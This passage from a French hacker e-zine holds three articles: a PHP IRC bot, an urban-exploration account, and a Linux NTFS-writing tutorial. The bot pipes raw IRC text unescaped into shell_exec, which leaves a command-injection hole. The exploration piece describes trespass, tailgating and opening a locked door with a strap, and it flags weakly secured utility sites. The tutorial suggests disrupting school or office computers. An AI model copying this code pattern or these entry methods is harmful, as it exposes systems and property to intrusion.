et pour mode ca peu ressembler a ceci si vous avez les droits necessaire

mode #hack.fr +o wyzeman


bon,  je  crois  que  c'est  assez  pour  le rfc irc avant que les lecteurs qui se soit rendu 
jusqu'ici ne partent en courant. La technique que jai utiliser pour parser  le  protocole irc 
est  tres  simple,  en  gros  je separe chaques parti du buffer recu en ligne (\n) et en mots 
(" ") (un espace signifie que un mots fini et que un autre commence (ca lair facile dit comme 
ca... pi ca l'est aussi..). Ensuite  je  fais  analyser chaque premier mots de phrase afin de 
voir si il sagit d'un call  irc,  certaine  commande  irc demande une plus grande analyse. Ce 
besoin se retrouve surtout dans les commandes qui ne sont pas numerot, la phrase  doit  donc 
etre tudier un peu plus dans sont ensemble pour la differencier  d'une  fausse  commande. La 
position de chaque mots dans la phrase vitera de se faire  arnaquer  par  une phrase crafter 
sur un chat de par exemple quelquun qui explique le  protocole irc (le premier mots de chaque 
phrase dite sur un chan netant pas le premier mots que votre client recois (privmsg chan/nick 
:blablablaba) le  premier  mots  d'une phrases dite sur irc se retrouvera donc a etre le 3eme 
mots  envoyer  via  le  protocole  irc  au  client.  Ainsi  donc,   aucun   risque   d'erreur 
d'interprtation. Un coup identifier chaque commande irc sera envoyer aux  diffrents scripts 
qui  soccuperont de faire le  necessaire  pour  les  traiters  Exeption  faite  des  commande 
necessaire a la connection qui elle sont hard coder  dans  le  script.  Chaque  script  etant 
executer et sont output sender sur le socket  permetant  ainsi d'interagir. Pour ce faire les 
scripts nont qua faire un echo  ou  un  print des commandes a renvoyers au serveur qui seront 
catcher par lanalyser de script et envoyer sur le socket. Les commandes envoyer au socket par 
les scripts doivent respecter le protocole irc sinon elle ne feront pas grand chose ;].




<?PHP

class	irc
	{
	// initalisation des variables global
	var $trueserv;	
	var $nick;
	var $ident;
	//pseudo constructeur
	function irc($ident, $realname, $nick)
		{
		$this->ident = $this->make_ident($ident, $realname);
		$this->nick = $this->make_nick($nick);		
		$this->trueserv = "dummy";
		}
	//parsing du RFC IRC
	function analyse($chanlist, $buffer, $scriptlist, $script, $link, $sock)
		{
		echo $buffer;
		//division du buffer en string
		$string = explode ("\n",$buffer);
		for ($x=0;$x<count($string);$x++)
			{
			//division de chaque mots de la string
			$word = explode(" ",$string[$x]);	  
			switch (strtolower($word[0]))
				{
				//someone or someting notice us
				case "notice":
				switch (strtolower($word[1]))
					{
					// look like an Ident query
					case "auth":
						switch (strtolower($word[2]))
							{
							// that really means nothing to me but...
							case ":***":
								switch (strtolower($word[3]))
									{
									//this really look like an ident querry.. lets see
									case "checking":
									   // strtolower retourne bien "ident" mais il est pas catcher par le case.
									   // ya p-e une limite au nombre de case imbriquer. 
									   //echo strtolower($word[4]);
									   //switch (strtolower($word[4]))
									  //	 {
									  	 //this really most be an Ident query, so why not answering it ?	
									 // 	 case "ident":
													 echo $this->ident;
													 echo $this->nick;
													 $sock->sending($link, $this->ident);
													 $sock->sending($link, $this->nick);
													 $script->spread("ident", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
										//		 break;
										//	 }
									   break;
									}					
								break;
							}
						break;
					}
					break;
				//PING? PONG! aka still alive check
				case "ping":
					$pong = $this->make_pong($word[1]);
					echo $pong;
					$sock->sending($link, $pong);
					$script->spread("ping", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				//gestion des erreurs IRCD	
				case "ERROR":
					switch (strtolower($word[1]))
						{
						//lien au serveur terminer	
						case 	":closing link:":
							$script->spread("closed link", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
							break;
						}
					break;
				// motd
				case "001":
				  //echo "MOTD*******************************";
					$this->trueserver = ltrim($word[0],":");
					$script->spread("motd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);				  
					break;
				// end of motd
				case "376":
				  //echo "EOMOTD******************************";
					$this->expand($sock, $link, $chanlist);
					$script->spread("eomotd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				case "PRIVMSG":
					$script->spread("prvmsg", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				default:

					break;
				}
			}			
		}
//tweaking de l'ident	
	function make_ident($ident, $realname)
		{
		$ident = "USER ".$ident." X X :".$realname."\r\n";
		return($ident);	
		}
//tweaking du nick	
	function make_nick($nick)
		{
		$nick = "NICK ".$nick."\r\n";
		return($nick);	
		}
//tweaking du pong		
	function make_pong($ping)
		{
		$pong = "PONG ".ltrim(strtolower($ping), ":")."\r\n";
		return($pong);	
		}
//mass join		
	function expand($sock, $link, $chanlist)
		{
		for ($x=0;$x<count($chanlist);$x++)
			{
			$query = "JOIN $chanlist[$x]\r\n";
			echo $query;
			$sock->sending($link, $query);	
			}
		}			
	}
?>




4) script


	Il s'agit peu etre dune contradiction mais la parti la plus importante du  bot, celle 
qui genre les scripts, est trangement une des plus petite et simple. Sa seul  fonction tant 
d'xecuter l'ensemble des scripts  chaque event et d'envoyer  les  rsultat de chaque script 
sur le socket. 


<?PHP

class script
	{
	//initialisation des variables
	var $ident;
 	var $nick;
  	var $chanlist;
	
	//pseudo constructeur
	function script($conf, $sock, $link)
		{	
		$this->host = "dummy";
		$this->chanlist = array();
		$this->ident = $conf['ident'];
		$this->nick	= $conf['nick'];		
		}	
	
	//execution des scripts et analyse des resultats
	function spread($event, $host, $string, $scriptlist, $link, $sock)
		{
		$host = $this->host;
		$ident = $this->ident;	
		$nick = $this->nick;				
		for ($x=0;$x<count($scriptlist);$x++)
			{
			$output = shell_exec("/usr/bin/php -q scripts/".$scriptlist[$x]." ".$host." ".$ident." ".$nick." ".$event." ".$string);
			echo $output;
			$sock->sending($link,$output);
			}
		}			
	}


?>



5) file systme


	Le seul besoin actuel davoir une class file system dans ce bot est de  lire lensemble 
des scripts a xecuter. Les dits script pourrons reutiliser cette classe  pour leur besoin ou 
en inventer une autre plus adapter. 


<?PHP
class wash
	{
	function wash()
		{
		}
  
  function lsfile($dir)
		{
		$x=0;
		$ls=opendir($dir);
		while(false !== ($lsdir = readdir($ls)))		
			{
		    if(!is_dir($dir."/".$lsdir))
				{
				//echo $lsdir."\r\n";
				$flist[$x]=$lsdir;
				$x++;
				}
			}
		return($flist);
		}		
	}
?>



voila, donc comme vous lavez vus a travers cette article, faire un bot "complet"  en  php est 
une  chose  facile  qui  peu  mener  un systme fficace et puissant. Pour ceux qui voudrais 
tester  le  bot  sans  se  taper  l'article, j'inclus ici  la fin l'ensemble des classes qui 
compose le bot. si quelqu'un  envie de continuer le devellopement de se bot, envoyer moi  un 
message a wyzeman@mindkind.org.




wyzebot,php begin

#!/usr/bin/php
<?PHP
/*
Wyzebot 1.0 
Projet de: Wyzeman@mindkind.org
but: faire un frame de bot iso IRC scriptable en php.
     le bot devras etre le plus minimaliste possible.
     toute fonction sera dans la mesure du possible
     gerrer par les scripts. 
     
codeur : wyzeman,
*/
set_time_limit(0);

//loading des modules du bot
include("core/socket.php");
include("core/irc.php");
include("core/script.php");
include("core/wash.php");
include("conf/general.conf.php");

//var $scriptlist = array();
//initialisation des objets
echo $conf['host']."\r\n";
echo $conf['port']."\r\n";
$sock = new sock($conf['host'], $conf['port']);
$link=$sock->con($conf['host'],$conf['port']);
$irc = new irc($conf['ident'], $conf['realname'], $conf['nick'], $conf['chanlist']);
$script = new script($conf, $sock, $link);
$wash = new wash();
$scriptlist = $wash->lsfile("scripts/");
for ($x=0;$x<count($scriptlist);$x++)
	{
	echo $scriptlist[$x]."\r\n";
	}
//loop "infini", mise en fonction du bot.
while(1)
	{
	sleep(5);
	//lecture du/des socket(s)
	$buffer = $sock->buffering($link);
	//parsing du RFC IRC et initialisation des scripts
	$irc->analyse($conf['chanlist'], $buffer, $scriptlist, $script, $link, $sock);
 	}
?>


wyzebot.php stop



conf/general.conf.php begin

<?PHP

$conf['host'] = "us.undernet.org";
$conf['port'] = 6667;	
$conf['ident'] = "shrug";
$conf['realname'] = "just do it";
$conf['nick'] = "Wyzebot";

$conf['chanlist'][0] = "#code.fr";
$conf['chanlist'][1] = "#hack.fr";
$conf['chanlist'][2] = "#linux.fr";


?>

conf/general.conf.php stop



core/irc.php start

<?PHP

class	irc
	{
	// initalisation des variables global
	var $trueserv;	
	var $nick;
	var $ident;
	//pseudo constructeur
	function irc($ident, $realname, $nick)
		{
		$this->ident = $this->make_ident($ident, $realname);
		$this->nick = $this->make_nick($nick);		
		$this->trueserv = "dummy";
		}
	//parsing du RFC IRC
	function analyse($chanlist, $buffer, $scriptlist, $script, $link, $sock)
		{
		echo $buffer;
		//division du buffer en string
		$string = explode ("\n",$buffer);
		for ($x=0;$x<count($string);$x++)
			{
			//division de chaque mots de la string
			$word = explode(" ",$string[$x]);	  
			switch (strtolower($word[0]))
				{
				//someone or someting notice us
				case "notice":
				switch (strtolower($word[1]))
					{
					// look like an Ident query
					case "auth":
						switch (strtolower($word[2]))
							{
							// that really means nothing to me but...
							case ":***":
								switch (strtolower($word[3]))
									{
									//this really look like an ident querry.. lets see
									case "checking":
									   // strtolower retourne bien "ident" mais il est pas catcher par le case.
									   // ya p-e une limite au nombre de case imbriquer. 
									   //echo strtolower($word[4]);
									   //switch (strtolower($word[4]))
									  //	 {
									  	 //this really most be an Ident query, so why not answering it ?	
									 // 	 case "ident":
													 echo $this->ident;
													 echo $this->nick;
													 $sock->sending($link, $this->ident);
													 $sock->sending($link, $this->nick);
													 $script->spread("ident", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
										//		 break;
										//	 }
									   break;
									}					
								break;
							}
						break;
					}
					break;
				//PING? PONG! aka still alive check
				case "ping":
					$pong = $this->make_pong($word[1]);
					echo $pong;
					$sock->sending($link, $pong);
					$script->spread("ping", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				//gestion des erreurs IRCD	
				case "ERROR":
					switch (strtolower($word[1]))
						{
						//lien au serveur terminer	
						case 	":closing link:":
							$script->spread("closed link", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
							break;
						}
					break;
				// motd
				case "001":
				  //echo "MOTD*******************************";
					$this->trueserver = ltrim($word[0],":");
					$script->spread("motd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);				  
					break;
				// end of motd
				case "376":
				  //echo "EOMOTD******************************";
					$this->expand($sock, $link, $chanlist);
					$script->spread("eomotd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				case "PRIVMSG":
					$script->spread("prvmsg", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				default:

					break;
				}
			}			
		}
//tweaking de l'ident	
	function make_ident($ident, $realname)
		{
		$ident = "USER ".$ident." X X :".$realname."\r\n";
		return($ident);	
		}
//tweaking du nick	
	function make_nick($nick)
		{
		$nick = "NICK ".$nick."\r\n";
		return($nick);	
		}
//tweaking du pong		
	function make_pong($ping)
		{
		$pong = "PONG ".ltrim(strtolower($ping), ":")."\r\n";
		return($pong);	
		}
//mass join		
	function expand($sock, $link, $chanlist)
		{
		for ($x=0;$x<count($chanlist);$x++)
			{
			$query = "JOIN $chanlist[$x]\r\n";
			echo $query;
			$sock->sending($link, $query);	
			}
		}			
	}
?>


core/irc.php stop

core/script.php start


<?PHP

class script
	{
	//initialisation des variables
	var $ident;
 	var $nick;
  	var $chanlist;
	
	//pseudo constructeur
	function script($conf, $sock, $link)
		{	
		$this->host = "dummy";
		$this->chanlist = array();
		$this->ident = $conf['ident'];
		$this->nick	= $conf['nick'];		
		}	
	
	//execution des scripts et analyse des resultats
	function spread($event, $host, $string, $scriptlist, $link, $sock)
		{
		$host = $this->host;
		$ident = $this->ident;	
		$nick = $this->nick;				
		for ($x=0;$x<count($scriptlist);$x++)
			{
			$output = shell_exec("/usr/bin/php -q scripts/".$scriptlist[$x]." ".$host." ".$ident." ".$nick." ".$event." ".$string);
			echo $output;
			$sock->sending($link, $output);
			}
		}			
	}


?>


core/script.php stop


core/socket.php start



<?php

class sock
	{
	//pseudo constructeur	
	function sock($host, $port)
		{
		if ($this->validate($host, $port))
			{	
			return(TRUE);
			}
		else
			{
			die ("config error");
			}
		}
	//verification (pour linstant tres basic des caracteres dentrer
	function validate($host, $port)
  		{
	  	if (is_numeric($port) || !is_numeric($host))
  			{
  			return(TRUE);
  			}
	  	else
  			{
  			return(FALSE);
  			}
  		}
	//connecter un socket		
	function con($host,$port)
		{
		$sock = fsockopen($host, $port);
		if (fsockopen)
			{
			return($sock);
			}
		else 
			{
			return(FALSE);
			}					
		}	
	//disconnecter un socket		
	function discon($sock)
		{
			
			if(fclose($sock))
				{
				return(TRUE);
				}
			else
				{
				return(FALSE);	
				}
		}	
	//lire le socket	
	function buffering($sock)
		{
		$buffer = fread($sock,32000);
		return($buffer);
		}
	//ecrire sur le socket
	function sending($sock, $word)
		{
		if(fwrite($sock, $word) === FALSE)
			{
			return(TRUE);
			}
		else
			{
			return(FALSE);
			}
		} 
		
	}
	

?> 


core/socket.php stop



core/wash.php start

<?PHP
class wash
	{
	function wash()
		{
		}
  
  function lsfile($dir)
		{
		$x=0;
		$ls=opendir($dir);
		while(false !== ($lsdir = readdir($ls)))		
			{
		    if(!is_dir($dir."/".$lsdir))
				{
				//echo $lsdir."\r\n";
				$flist[$x]=$lsdir;
				$x++;
				}
			}
		return($flist);
		}		
	}
?>

core/wash.php stop



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|             http://pornoquebec.com/video/                      \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Parce que tout le monde se branle                                     ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[19]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[un affaire d'esploration urbaine]=\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: prommenons nous dans la ville pendant que sm y'est pas!   ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      vn      ]=\:\ _//     
                                                  \__\________________________/__/ 


Urban Exploration


On  en  entend  peu  parler  et  il  arrive  que l'on en fasse sans s'en rendre compte, notre 
curiosit  tant  plus  forte  que  tout.   Le  terme  se  traduit videmment en franais par 
exploration urbaine mais bon le terme est rendu laid...  Pour cause de paresse  j'crirai  UE 
 la place. 

On ne parle pas ici de se promener dans les grandes rues d'une ville mais bien dans les coins 
plus ou moins visits qui suscitent curiosit et o il n'y  est  pas  ncessairement  dclar 
illgal d'y circuler sans autorisation.  Certaines places vont repousser  les  moins  tenaces 
comme les gouts et les conduits pluviaires (la ou l'eau de pluie est vacue des rues etc.), 
d'autres qui ont le vertige iront pas vraiment sur un toit, le  Tracel  de  Cap-Rouge  ou  un 
pylne d'Hydro-Qubec.

On  peut  donc  constater  ici  qu'il  faut  un  minimum  d'organisation/prparation pour une 
excursion.  On parle pas d'une simple sance de trashing (qui peut tre  considr  comme  de 
l'UE).  La sant avant tout... plaies ouvertes dans un endroit souill  on  peut  pogner  le 
ttanos donc je recommande fortement d'avoir ce vaccin  son  historique.   Aussi,  dpendant 
des conditions (et de l'endroit bien sr), s'habiller chaudement ou avoir un  imper et/ou des 
bottes de pluie.  Une petite liste exhaustive de l'quipement qui pourrait tre utile :

-Kodak numrique
-Impermable
-Trousse de premiers soins
-Cellulaire
-GPS
-Crayon-papier ou laptop ou PDA/Pocket PC (laptop non recommand sauf si c'est un Panasonic 
 ou dans quelques cas, IBM)
-Vlo ou char
-Trousse de lockpicking
-Plan et/ou trajet
-Jumelles
-Walkie-talkies (si vous tes a plusieurs)

Bref c'est une activit gnralement  la porte de tout le monde.  Quand je dis les plans ou 
un  trajet,  c'est  parce  qu' certaines places il est facile de se perdre... et je parle en 
connaissance  de  cause :  un  btiment  dsaffect avec un rseau de tunnels, a m'a pris 50 
minutes sortir de la.  Pour ce qui est du kit de lockpicking, je ne parle nullement  d'entrer 
par effraction dans un btiment affect, mais plutt de dbarrer des vieux  cadenas  rouills 
ou  des  accs    des  zones  dsaffectes.   Bien  sr tout est remis en place gnralement 
aprs...

Le genre d'UE que je prconise et que je prfre, c'est fouiner les installations dsertes et 
pas surveilles.  On en trouve souvent d'Hydro-Qubec, Bell ou encore des stations de gestion 
de l'eau (puration, gouts etc), qui sont plus rares.  Quand on dit que la scurit physique 
des systmes de gestion de services est l'un de leurs  points  faibles,  comme  les  systmes 
SCADA.  

Effectivement,  quand  un  accs repose sur un simple cadenas ou une poigne de porte barres 
sur  un  btiment  discret  dans  un  secteur  dsert,  peu prs toute personne motive peut 
arriver    y  accder.   Non,  c'est  pas  des  portes en bois, c'est blind.  Je ne tentais 
nullement d'entrer par effraction mais simplement  de  voir si on peut y rentrer.  La rponse 
tait oui, juste a monter sur le toit (ca  se  grimpe  bien) et passer par la chemine.  bien 
sr, il y a d'autres facons...  btw si vous voulez imager le tout, voir les pics jointes.

Ce  qui  est  intressant avec ce genre de trucs c'est qu'on voit ou peuvent tre les failles 
de  la  scurit  physique  d'un  emplacement...  Comme un simple cadenas qui semble ferm et 
barr mais qui ne l'est pas :D

Une autre exprience intressante, bien que a peut sembler banal, c'tait    l'ULaval.   Le 
soir du party de fin de session,  3h30 AM, trop tard pour  prendre  la  bus  de  ville  pour 
rentrer, pas de lift, bref la merde.  J'ai dcid d'aller    l'Uni  voir si je pouvais aller 
dans un labo info, pour avoir  dequoi  a  bretter  en  attendant  les  premires  heures.  Me 
tentait surtout pas de rester  dehors a -15 donc j'ai tent de prendre le rseau de tunnels : 
barr. Donc, je vais direct au  Pavillon deKoninck.. barr aussi.  J'essaie donc le Bonenfant 
et le Pouliot sans succs.  Je  vis  donc un garde de scurit et je tentai d'y demander pour 
accder  aux  locaux  d'info.  Il  m'a  demand  pourquoi  je  voulais y aller.  J'ai rpondu 
sincrement : j'aimerais aller checker les horaires d'autobus  de  ville.  La sincrit a pas 
pay : l'accs est rserv uniquement  ceux qui ont des travaux  finir! So fuck that, quasi 
rsign pour aller passer la nuit au Subway, je passe devant le  Vachon  et  juste  de  mme, 
quelqu'un  sort  de  la  porte    proximit...  BINGO,  je cours pour retenir la porte et je 
rentre... ;)  Sur le coup, aucune ide par o aller, je fais  un tour des couloirs principaux 
pour voir s'il y a des issues ou places  intressantes,  pas  vraiment  part un local d'info 
que j'ai pas accs... Je tente d'aller  au  tunnel mais oups...gardes de scurit... je prend 
un coke dans la machine  coke pour faire  mine de rien et ds qu'ils sont passs, je pars au 
tunnel.  Un petit  problme,  la  porte  est  barre derriere moi!  Donc,  faire attention  
l'avenir...  Vu qu'il n'y a pas de camras alentours. je me permet de voir si les portes dans 
le petit couloir  sont toutes barrs...et bien non, il y en a une qui monte  l'tage du mme 
pavillion  mais  je  dcide  de  continuer  dans  les tunnels pour aller au deKoninck. Portes 
barres...  On  sort  le  kit de lockpicking...sans succs alors on tente la mthode simple : 
une  strap  qu'on  passe  de  l'autre  cot  de la serrure pour la tirer et dbarrer.  Access 
Granted et je file au lab info ek ma prox card sans probleme!

En  aucun  cas  il n'est recommand de poser des actes de vandalisme, car il s'agit ici avant 
tout d'exploration,  d'observation  et d'analyse.  Comme on dit souvent, la scurit physique 
est plus  importante  que  la  scurit  logistique...  Dites-vous que la scurit d'une zone 
dsaffecte a de fortes chances de ressembler  celle d'une zone similaire qui ne l'est pas.  

Une de mes explorations les plus marquantes fut celle d'un terrain  d'hydro-Qubec  o  il  y 
avait un btiment contenant des lments de gestion du  rseau  lectrique, et sur le terrain 
adjacent, une ancienne station de pompage et nettoyage  de  l'eau,  souterraine, qu'on voyait 
pas de l'extrieur.

Utilisez votre imagination et votre curiosit sera servie... mais pas forcment tanche :)


any ? MSN : mh.daryaei@uac.edu.ir  (no mail)


P.S.: c4ndu jel sais que j'cris comme un journaliste pas besoin de prciser


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || | Pour ceux qui voudrais voir d'autre photo d'UE que celle   \\_  \_ \   \\_ -  : '
 ||`| incluse dans se e-zine, Eth0 vous offre sa collection      \_ \   \\_  \_ \ 1   
 || | personnel, disponible a l'addresse suivante :                \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |    http://eth0.illusionnetwork.org/gallery/Urban-Exploration     \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Une Gracieuset de la communaut #Hack.fr                             ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[20]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[NTFS criture possible avec nuX ?=\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   fluxius    ]=\:\ _//     
                                                  \__\________________________/__/ 



              0001001000000100000001001000001000000100010000000000010
              010      __  __           __  _____                 000 
              000     / / / /___ ______/ /_|__  /   _____  ____   001  
              001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
              000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
              000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
              010            http://hackever.n0ne.org             000
              0100010001000000100001001000001001000000010000010000100


1. Introduction :

Beaucoup  de  personnes  considrent  le NTFS comme inviolable par le dangereux TuX, mais ils 
devraient viter de penser trop fort...

En  effet,  Linux  lit parfaitement bien les partitions NTFS mais à du mal à crire dessus. 
Nous allons à travers diffrentes tapes, vous expliquez comment écrire dans une partitions 
NTFS avec Linux.

Les administrateurs rseaux risquent d'tre bien dus.

-----------------------------------------------------------------------------------------------

1.1 Lecture de la partition NTFS (rcapitulatif) :

Comment je l'ai dis plus haut, Linux n'a aucuns problmes à lire les partitions  NTFS.  Ceci 
dit vrifier tout de mme si le NTFS est reconnu.
  ________________________________
 |                                |
 | $ cat /proc/filesystems        |
 |________________________________|

Créer un point de montage :
   _____________________________________________________________
  |                                                            |
  | $ sudo mkdir /mnt/windobe                                  |
  | password :                                                 |
  | $ sudo mount /dev/hda1 /mnt/windobe -t ntfs -o umask=0222  |
  |____________________________________________________________|

Bon là vous devriez avoir accs à vos fichier Windows sans le moindre soucis. Mais vous  ne 
pouvez pas crire ? Ce n'est pas un problme.

1.2 Ecriture :

Alors  voilà, j'ai fais connaissance du projet Captive qui permet d'crire sur une partition 
NTFS :-)
supportaient pas d?interface web,  vous  pouvez  p-e  toutefois  quand mme vous connecter en
Ce  qu'il  faut  faire  avant  tout c'est de monter la partition sur un point de montage pour 
rechercher le fichier ntfs.sys  et  ntoskrnl.exe  aprs  avoir installer Captive. Tlchargez 
avant tout http://www.jankratochvil.net/project/captive/ .

Pour une installation gnraliste :
  ____________________________________
 |                                    |
 | $ tar xzf captive-static-x.tar.gz  |
 | $ cd captive-static-x              |             
 | $ sudo ./install                   |
 |____________________________________|

Lorsque que le package est install :
  __________________________________
 |                                  | 
 | $ sudo captive-install-acquire   |
 |__________________________________|


Bon là une fentre apprait et là indiquer la position des fichiers ntfs.sys et ntoskrnl.exe 
qui  sont  indispenssable  au fonctionnement de Captive. Si tout c'est bien pass vous pouvez 
enfin monter la partition :
  _________________________________
 |                                 | 
 | $ sudo mount /mnt/captive-X     |
 |_________________________________|

Pour  connatre  le  x  pas  la  peine  de faire de produit en croix ^^ vous avez juste à le 
chercher :
  ______________________
 |                      |
 |  $ mount -a          |
 |______________________|


Si tout s'est bien droul dans /etc/fstab vous devriez avoir a :

  __________________________________________________________________________
 |                                                                          |
 | .....//                                                                  |
 | /dev/hda1 /mnt/windobe captive-ntfs gid=501,dmask=777,fmask=777 0 0      |
 | ....//                                                                   |
 |__________________________________________________________________________|

______________________________________________________________________________________________________

1.3 Intert de ce tuto ? :

Bien  imaginez  que vous tes dans une bote ou dans votre lyce et que vous voulez foutre un 
peu le bordel,  c'est  le  moment de faire bouger tout a :-). Par contre attention ! Si vous 
utilisez un live-cd il faudrais installer le systme dans le disque dur ou sinon modifier  sa 
distribution  pour  implenter  Captive  en  Live-CD.  Si vous avez des problmes venez sur le 
forum :-P

Tutorial by -----x[FlUxIuS]x--> <<<[(-_-)]>>>
                                   
                                    (c)Hack3ver - All rights reversed.




  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |Vous voulez avoir l'air dun vrai hacker sans avoir a          \\_  \_ \   \\_ 1  + 
 || |apprendre? Le google hacking et pour vous:                    \_ \   \\_  \_ \ 1   
 ||'|http://johnny.ihackstuff.com                                    \\_  \_ \   \\_  x 
 || |des milliers de patterns vous attendent                          \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
